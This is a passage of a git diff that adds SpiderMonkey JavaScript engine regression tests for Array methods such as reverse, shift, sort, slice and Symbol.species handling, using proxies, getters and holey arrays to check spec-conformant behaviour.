+var actual = 0;
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+a.length = null;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-599159.js b/js/src/tests/non262/Array/regress-599159.js
new file mode 100644
index 0000000000..bd8225b529
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-599159.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/Array/regress-619970.js b/js/src/tests/non262/Array/regress-619970.js
new file mode 100644
index 0000000000..6ec94fc3bb
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-619970.js
@@ -0,0 +1,8 @@
+function test() {
+ delete arguments[1];
+ return Array.prototype.join.call(arguments);
+}
+assertEq(test(1,2,3), "1,,3");
+Object.prototype[1] = "ponies!!!1";
+assertEq(test(1,2,3), "1,ponies!!!1,3");
+reportCompare(true,true);
diff --git a/js/src/tests/non262/Array/regress-94257.js b/js/src/tests/non262/Array/regress-94257.js
new file mode 100644
index 0000000000..23fff7bcf0
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-94257.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 30 October 2001
+ *
+ * SUMMARY: Regression test for bug 94257
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94257
+ *
+ * Rhino used to crash on this code; specifically, on the line
+ *
+ * arr[1+1] += 2;
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94257;
+var summary = "Making sure we don't crash on this code -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = new Array(6);
+arr[1+1] = 1;
+arr[1+1] += 2;
+
+
+status = inSection(1);
+actual = arr[1+1];
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = arr[1+1+1];
+expect = undefined;
+addThis();
+
+status = inSection(3);
+actual = arr[1];
+expect = undefined;
+addThis();
+
+
+arr[1+2] = 'Hello';
+
+
+status = inSection(4);
+actual = arr[1+1+1];
+expect = 'Hello';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js b/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js
new file mode 100644
index 0000000000..a9b1e80deb
--- /dev/null
+++ b/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858677;
+var summary =
+ "[].reverse should swap elements low to high using accesses to low " +
+ "elements, then accesses to high elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var observed = [];
+
+// (0, 7) hits the lowerExists/upperExists case.
+// (1, 6) hits the !lowerExists/upperExists case.
+// (2, 5) hits the lowerExists/!upperExists case.
+// (3, 4) hits the !lowerExists/!upperExists case.
+//
+// It'd be a good idea to have a second version of this test at some point
+// where the "array" being reversed is a proxy, to detect proper ordering of
+// getproperty, hasproperty, setproperty into a hole, and deleteproperty from a
+// non-configurable element. But at present our Array.prototype.reverse
+// implementation probably doesn't conform fully to all this (because our
+// internal MOP is still slightly off), so punt for now.
+var props =
+ {
+ 0: {
+ configurable: true,
+ get: function() { observed.push("index 0 get"); return "index 0 get"; },
+ set: function(v) { observed.push("index 0 set: " + v); }
+ },
+ /* 1: hole */
+ 2: {
+ configurable: true,
+ get: function() { observed.push("index 2 get"); return "index 2 get"; },
+ set: function(v) { observed.push("index 2 set: " + v); }
+ },
+ /* 3: hole */
+ /* 4: hole */
+ /* 5: hole */
+ 6: {
+ configurable: true,
+ get: function() { observed.push("index 6 get"); return "index 6 get"; },
+ set: function(v) { observed.push("index 6 set: " + v); }
+ },
+ 7: {
+ configurable: true,
+ get: function() { observed.push("index 7 get"); return "index 7 get"; },
+ set: function(v) { observed.push("index 7 set: " + v); }
+ },
+ };
+
+var arr = Object.defineProperties(new Array(8), props);
+
+arr.reverse();
+
+var expectedObserved =
+ ["index 0 get", "index 7 get", "index 0 set: index 7 get", "index 7 set: index 0 get",
+ "index 6 get",
+ "index 2 get"
+ /* nothing for 3/4 */];
+print(observed);
+// Do this before the assertions below futz even more with |observed|.
+assertEq(observed.length, expectedObserved.length);
+for (var i = 0; i < expectedObserved.length; i++)
+ assertEq(observed[i], expectedObserved[i]);
+
+assertEq(arr[0], "index 0 get"); // no deletion, setting doesn't overwrite
+assertEq(arr[1], "index 6 get"); // copies result of getter
+assertEq(2 in arr, false); // deleted
+assertEq(3 in arr, false); // never there
+assertEq(4 in arr, false); // never there
+assertEq(arr[5], "index 2 get"); // copies result of getter
+assertEq(6 in arr, false); // deleted
+assertEq(arr[7], "index 7 get"); // no deletion, setter doesn't overwrite
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js b/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js
new file mode 100644
index 0000000000..1507e5ce00
--- /dev/null
+++ b/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js
@@ -0,0 +1,60 @@
+function ensureSetterCalledOnce(fn, value, index) {
+ var setterCalled = false;
+ Object.defineProperty(Array.prototype, index, {
+ configurable: true,
+ set: function(v) {
+ assertEq(setterCalled, false);
+ setterCalled = true;
+ assertEq(v, value);
+ }
+ });
+
+ assertEq(setterCalled, false);
+ fn();
+ assertEq(setterCalled, true);
+
+ delete Array.prototype[index];
+}
+
+ensureSetterCalledOnce(function() {
+ [].push("push");
+}, "push", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "reverse"].reverse();
+}, "reverse", 0);
+
+ensureSetterCalledOnce(function() {
+ ["reverse", /* hole */,].reverse();
+}, "reverse", 1);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "shift"].shift();
+}, "shift", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "sort"].sort();
+}, "sort", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, undefined].sort();
+}, undefined, 0);
+
+ensureSetterCalledOnce(function() {
+ [].splice(0, 0, "splice");
+}, "splice", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "splice"].splice(0, 1);
+}, "splice", 0);
+
+ensureSetterCalledOnce(function(v) {
+ ["splice", /* hole */,].splice(0, 0, "item");
+}, "splice", 1);
+
+ensureSetterCalledOnce(function() {
+ [].unshift("unshift");
+}, "unshift", 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/shell.js b/js/src/tests/non262/Array/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Array/shell.js
diff --git a/js/src/tests/non262/Array/shift-no-has-trap.js b/js/src/tests/non262/Array/shift-no-has-trap.js
new file mode 100644
index 0000000000..e941ba7205
--- /dev/null
+++ b/js/src/tests/non262/Array/shift-no-has-trap.js
@@ -0,0 +1,64 @@
+// Test that Array.prototype.shift doesn't call the [[HasProperty]] internal
+// method of objects when retrieving the element at index 0.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, undefined);
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "deleteProperty:0",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 1);
+
+log.length = 0;
+array.push(2, 3);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "has:1", "get:1", "set:0", "getOwnPropertyDescriptor:0", "defineProperty:0",
+ "deleteProperty:1",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 2);
+
+log.length = 0;
+array.push(4, 5);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "has:1", "get:1", "set:0", "getOwnPropertyDescriptor:0", "defineProperty:0",
+ "has:2", "get:2", "set:1", "getOwnPropertyDescriptor:1", "defineProperty:1",
+ "deleteProperty:2",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/shift_for_in.js b/js/src/tests/non262/Array/shift_for_in.js
new file mode 100644
index 0000000000..1bbf2d9c2d
--- /dev/null
+++ b/js/src/tests/non262/Array/shift_for_in.js
@@ -0,0 +1,13 @@
+var BUGNUMBER = 1247701;
+var summary = 'Array.prototype.shift on a dense array with holes should update for-in enumeration properties.';
+
+print(BUGNUMBER + ": " + summary);
+
+var x = ["a", , "b", , "c", "d" , "e", "f", "g"];
+for (var p in x) {
+ assertEq(p in x, true);
+ x.shift();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/slice-sparse-with-large-index.js b/js/src/tests/non262/Array/slice-sparse-with-large-index.js
new file mode 100644
index 0000000000..7fcf571e53
--- /dev/null
+++ b/js/src/tests/non262/Array/slice-sparse-with-large-index.js
@@ -0,0 +1,18 @@
+var array = [];
+array[2**31 - 2] = "INT32_MAX - 1";
+array[2**31 - 1] = "INT32_MAX";
+array[2**31 - 0] = "INT32_MAX + 1";
+array[2**32 - 2] = "UINT32_MAX - 1";
+array[2**32 - 1] = "UINT32_MAX";
+array[2**32 - 0] = "UINT32_MAX + 1";
+
+var copy = array.slice();
+assertEq(copy[2**31 - 2], "INT32_MAX - 1");
+assertEq(copy[2**31 - 1], "INT32_MAX");
+assertEq(copy[2**31 - 0], "INT32_MAX + 1");
+assertEq(copy[2**32 - 2], "UINT32_MAX - 1");
+assertEq(copy[2**32 - 1], undefined);
+assertEq(copy[2**32 - 0], undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort-01.js b/js/src/tests/non262/Array/sort-01.js
new file mode 100644
index 0000000000..da90220aef
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-01.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604971;
+var summary = 'array.sort compare-function gets incorrect this';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+[1, 2, 3].sort(function() { "use strict"; assertEq(this, undefined); });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js b/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js
new file mode 100644
index 0000000000..b77c6d3411
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 664528;
+var summary =
+ "Sorting an array containing only holes and |undefined| should move all " +
+ "|undefined| to the start of the array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [, , , undefined];
+a.sort();
+
+assertEq(a.hasOwnProperty(0), true);
+assertEq(a[0], undefined);
+assertEq(a.hasOwnProperty(1), false);
+assertEq(a.hasOwnProperty(2), false);
+assertEq(a.hasOwnProperty(3), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/sort-delete-ascending-order.js b/js/src/tests/non262/Array/sort-delete-ascending-order.js
new file mode 100644
index 0000000000..99df536df7
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-delete-ascending-order.js
@@ -0,0 +1,37 @@
+// Calls Array.prototype.sort and tests that properties are deleted in the same order in the
+// native and the self-hosted implementation.
+
+function createProxy() {
+ var deleted = [];
+ var proxy = new Proxy([, , 0], {
+ deleteProperty(t, pk){
+ deleted.push(pk);
+ return delete t[pk];
+ }
+ });
+
+ return {proxy, deleted};
+}
+
+function compareFn(a, b) {
+ return a < b ? -1 : a > b ? 1 : 0;
+}
+
+// Sort an array without a comparator function. This calls the native sort implementation.
+
+var {proxy, deleted} = createProxy();
+
+assertEqArray(deleted, []);
+proxy.sort()
+assertEqArray(deleted, ["1", "2"]);
+
+// Now sort an array with a comparator function. This calls the self-hosted sort implementation.
+
+var {proxy, deleted} = createProxy();
+
+assertEqArray(deleted, []);
+proxy.sort(compareFn);
+assertEqArray(deleted, ["1", "2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort-non-function.js b/js/src/tests/non262/Array/sort-non-function.js
new file mode 100644
index 0000000000..91e3045932
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-non-function.js
@@ -0,0 +1,22 @@
+// Array.prototype.sort throws if the comparator is neither undefined nor
+// a callable object.
+
+// Use a zero length array, so we can provide any kind of callable object
+// without worrying that the function is actually a valid comparator function.
+const array = new Array(0);
+
+// Throws if the comparator is neither undefined nor callable.
+for (let invalidComparator of [null, 0, true, Symbol(), {}, []]) {
+ assertThrowsInstanceOf(() => array.sort(invalidComparator), TypeError);
+}
+
+// Doesn't throw if the comparator is undefined or a callable object.
+for (let validComparator of [undefined, () => {}, Math.max, class {}, new Proxy(function(){}, {})]) {
+ array.sort(validComparator);
+}
+
+// Also doesn't throw if no comparator was provided at all.
+array.sort();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort-typedarray-with-own-length.js b/js/src/tests/non262/Array/sort-typedarray-with-own-length.js
new file mode 100644
index 0000000000..18e4ea5cd6
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-typedarray-with-own-length.js
@@ -0,0 +1,33 @@
+function sortTypedArray(comparator) {
+ // Create a typed array with three elements, but also add an own "length"
+ // property with the value `2` to restrict the range of elements which
+ // will be sorted by Array.prototype.sort().
+ var ta = new Int8Array([3, 2, 1]);
+ Object.defineProperty(ta, "length", {value: 2});
+
+ // Sort with Array.prototype.sort(), not %TypedArray%.prototype.sort()!
+ Array.prototype.sort.call(ta, comparator);
+
+ return ta;
+}
+
+// Comparators using the form |return a - b| are special-cased in
+// Array.prototype.sort().
+function optimizedComparator(a, b) {
+ return a - b;
+}
+
+// This comparator doesn't compile to the byte code sequence which gets
+// special-cased in Array.prototype.sort().
+function nonOptimizedComparator(a, b) {
+ var d = a - b;
+ return d;
+}
+
+// Both comparators should produce the same result.
+assertEq(sortTypedArray(optimizedComparator).toString(), "2,3,1");
+assertEq(sortTypedArray(nonOptimizedComparator).toString(), "2,3,1");
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_basics.js b/js/src/tests/non262/Array/sort_basics.js
new file mode 100644
index 0000000000..e3011e5c48
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_basics.js
@@ -0,0 +1,46 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Create an array filled with random values, 'size' is the desired length of
+// the array and 'seed' is an initial value supplied to a pseudo-random number
+// generator.
+function genRandomArray(size, seed) {
+ return Array.from(XorShiftGenerator(seed, size));
+}
+
+function SortTest(size, seed) {
+ let arrOne = genRandomArray(size, seed);
+ let arrTwo = Array.from(arrOne);
+ let arrThree = Array.from(arrOne);
+ let typedArrays = [
+ new Uint8Array(arrOne),
+ new Int32Array(arrOne),
+ new Float32Array(arrOne)
+ ];
+
+ let sorted = Array.from((Int32Array.from(arrOne)).sort());
+
+ // Test numeric comparators against typed array sort.
+ assertDeepEq(sorted, arrTwo.sort((x, y) => (x - y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Use multiplication to kill comparator optimization and trigger
+ // self-hosted sorting.
+ assertDeepEq(sorted, arrThree.sort((x, y) => (1*x - 1*y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Ensure that typed arrays are also sorted property.
+ for (typedArr of typedArrays) {
+ let sortedTypedArray = Array.prototype.sort.call(typedArr, (x, y) => (1*x - 1*y))
+ assertDeepEq(sorted, Array.from(sortedTypedArray),
+ `The array is not properly sorted! seed: ${SEED}`);
+ }
+}
+
+SortTest(2048, SEED);
+SortTest(16, SEED);
+SortTest(0, SEED);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort_holes.js b/js/src/tests/non262/Array/sort_holes.js
new file mode 100644
index 0000000000..7424bd8894
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_holes.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// We should preserve holes when sorting sparce arrays.
+// See bug: 1246860
+
+function denseCount(arr) {
+ var c = 0;
+ for (var i = 0; i < arr.length; i++)
+ if (i in arr)
+ c++;
+ return c;
+}
+
+let a = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}];
+let b = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort();
+let c = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort((a, b) => {+a.size - +b.size});
+
+assertEq(a.length, 22);
+assertEq(denseCount(a), 2);
+assertEq(a.length, b.length);
+assertEq(b.length, c.length);
+assertEq(denseCount(a), denseCount(b));
+assertEq(denseCount(b), denseCount(c));
+
+let superSparce = new Array(5000);
+superSparce[0] = 99;
+superSparce[4000] = 0;
+superSparce[4999] = -1;
+
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+
+superSparce.sort((a, b) => 1*a-b);
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+assertEq(superSparce[0], -1);
+assertEq(superSparce[1], 0);
+assertEq(superSparce[2], 99);
+
+let allHoles = new Array(2600);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+allHoles.sort((a, b) => 1*a-b);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+
+let oneHole = new Array(2600);
+oneHole[1399] = {size: 27};
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+oneHole.sort((a, b) => {+a.size - +b.size});
+assertDeepEq(oneHole[0], {size: 27});
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+
+// Sealed objects should be sortable, including those with holes (so long
+// as the holes appear at the end, so that they don't need to be moved).
+assertDeepEq(Object.seal([0, 99, -1]).sort((x, y) => 1 * x - y),
+ Object.seal([-1, 0, 99]));
+
+assertDeepEq(Object.seal([1, 5, 4, , ,]).sort((x, y) => 1 * x - y),
+ Object.seal([1, 4, 5, , ,]));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_native_string_nan.js b/js/src/tests/non262/Array/sort_native_string_nan.js
new file mode 100644
index 0000000000..67ec08a015
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_native_string_nan.js
@@ -0,0 +1,16 @@
+
+var array = ["not-a-number", "also-not-a-number"];
+var copy = [...array];
+
+// The sort comparator must be exactly equal to the bytecode pattern:
+//
+// JSOp::GetArg 0/1
+// JSOp::GetArg 1/0
+// JSOp::Sub
+// JSOp::Return
+array.sort(function(a, b) { return a - b; });
+
+assertEqArray(array, copy);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_proxy.js b/js/src/tests/non262/Array/sort_proxy.js
new file mode 100644
index 0000000000..40ebb907bf
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_proxy.js
@@ -0,0 +1,38 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+// Ensure, via proxy, that only get, set, delete, has, and getOwnPropertyDescriptor
+// are touched during sorting.
+
+const handler = {
+ set: function(target, prop, value) {
+ target[prop] = value;
+ return value;
+ },
+ getPrototypeOf: () => { throw "You shouldn't touch getPrototypeOf!" },
+ setPrototypeOf: () => { throw "You shouldn't touch setPrototypeOf!" },
+ isExtensible: () => { throw "You shouldn't touch isExtensible!" },
+ preventExtensions: () => { throw "You shouldn't touch preventExtensions!" },
+ defineProperty: () => { throw "You shouldn't touch defineProperty!" },
+ ownKeys: () => { throw "You shouldn't touch ownKeys!" },
+ apply: () => { throw "You shouldn't touch apply!" },
+ construct: () => { throw "You shouldn't touch construct!" },
+}
+
+function testArray(arr) {
+ let proxy = new Proxy(arr, handler)
+
+ // The supplied comparators trigger a JavaScript implemented sort.
+ proxy.sort((x, y) => 1 * x - y);
+ arr.sort((x, y) => 1 * x - y);
+
+ for (let i in arr)
+ assertEq(arr[i], proxy[i]);
+}
+
+testArray([-1]);
+testArray([5, -1, 2, 99]);
+testArray([5, -1, , , , 2, 99]);
+testArray([]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_small.js b/js/src/tests/non262/Array/sort_small.js
new file mode 100644
index 0000000000..fa8b789e10
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_small.js
@@ -0,0 +1,33 @@
+// Sort every possible permutation of some arrays.
+function sortAllPermutations(data, comparefn) {
+ for (let permutation of Permutations(Array.from(data))) {
+ let sorted = (Array.from(permutation)).sort(comparefn);
+ for (let i in sorted) {
+ assertEq(sorted[i], data[i],
+ [`[${permutation}].sort(${comparefn})`,
+ `returned ${sorted}, expected ${data}`].join(' '));
+ }
+ }
+}
+
+let lex = [2112, "bob", "is", "my", "name"];
+let nans = [1/undefined, NaN, Number.NaN]
+
+let num1 = [-11, 0, 0, 100, 101];
+let num2 = [-11, 100, 201234.23, undefined, undefined];
+
+sortAllPermutations(lex);
+sortAllPermutations(nans);
+
+sortAllPermutations(nans, (x, y) => x - y);
+// Multiplication kills comparator optimization.
+sortAllPermutations(nans, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num1, (x, y) => x - y);
+sortAllPermutations(num1, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num2, (x, y) => x - y);
+sortAllPermutations(num2, (x, y) => (1*x - 1*y));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/species.js b/js/src/tests/non262/Array/species.js
new file mode 100644
index 0000000000..3669c286f6
--- /dev/null
+++ b/js/src/tests/non262/Array/species.js
@@ -0,0 +1,182 @@
+var BUGNUMBER = 1165052;
+var summary = 'Use ArraySpeciesCreate in Array.prototype.{concat,filter,map,slice,splice}.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(funcName, args, expectedLength, expectedLogs) {
+ // modified @@species
+ function FakeArray(n) {
+ this.length = n;
+ }
+ var a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: FakeArray
+ };
+ var b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+
+ function FakeArrayWithSpecies(n) {
+ this.length = n;
+ }
+ FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArrayWithSpecies);
+
+ function FakeArrayWithHook(n) {
+ return new Proxy(new FakeArray(n), {
+ set(that, name, value) {
+ logs += "set:" + name + ":" + value + ",";
+ return true;
+ },
+ defineProperty(that, name, desc) {
+ logs += "define:" + name + ":" + desc.value + ":" + desc.configurable + ":" + desc.enumerable + ":" + desc.writable + ",";
+ return true;
+ }
+ });
+ }
+ var logs = "";
+ var ctorProxy = new Proxy({}, {
+ get(that, name) {
+ logs += "c-get:" + name.toString() + ",";
+ if (name == Symbol.species)
+ return FakeArrayWithHook;
+
+ return undefined;
+ }
+ });
+ a = new Proxy([1, 2, 3, 4, 5], {
+ get(that, name) {
+ logs += "get:" + name.toString() + ",";
+ if (name == "constructor")
+ return ctorProxy;
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+ assertEq(Object.keys(b).sort().join(","), "length");
+ assertEq(b.length, expectedLength);
+ assertEq(logs, expectedLogs);
+
+ // no @@species
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArray;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid @@species
+ for (var species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // undefined constructor
+ a = [1, 2, 3, 4, 5];
+ a.constructor = undefined;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid constructor
+ for (var ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // not an array
+ a = new Proxy({
+ 0: 1, 1: 2, 2: 3, 3: 4, 4: 5,
+ length: 5,
+ [funcName]: Array.prototype[funcName]
+ }, {
+ get(that, name) {
+ assertEq(name !== "constructor", true);
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // @@species from different global
+ var g = newGlobal();
+ g.eval("function FakeArray(n) { this.length = n; }");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.FakeArray
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArray);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.Array
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // constructor from different global
+ g.eval("function FakeArrayWithSpecies(n) { this.length = n; }");
+ g.eval("FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = g.FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArrayWithSpecies);
+
+ g.eval("var a = [1, 2, 3, 4, 5];");
+ b = Array.prototype[funcName].apply(g.a, args);
+ assertEq(b.constructor, Array);
+
+ // running in different global
+ b = g.a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // subclasses
+ // not-modified @@species
+ eval(`
+class ${funcName}Class extends Array {
+}
+a = new ${funcName}Class(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, ${funcName}Class);
+`);
+
+ // modified @@species
+ eval(`
+class ${funcName}Class2 extends Array {
+ static get [Symbol.species]() {
+ return Date;
+ }
+}
+a = new ${funcName}Class2(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, Date);
+`);
+}
+
+test("concat", [], 0, "get:concat,get:constructor,c-get:Symbol(Symbol.species),get:Symbol(Symbol.isConcatSpreadable),get:length,get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("filter", [x => x % 2], 0, "get:filter,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,get:2,define:1:3:true:true:true,get:3,get:4,define:2:5:true:true:true,");
+test("map", [x => x * 2], 5, "get:map,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:2:true:true:true,get:1,define:1:4:true:true:true,get:2,define:2:6:true:true:true,get:3,define:3:8:true:true:true,get:4,define:4:10:true:true:true,");
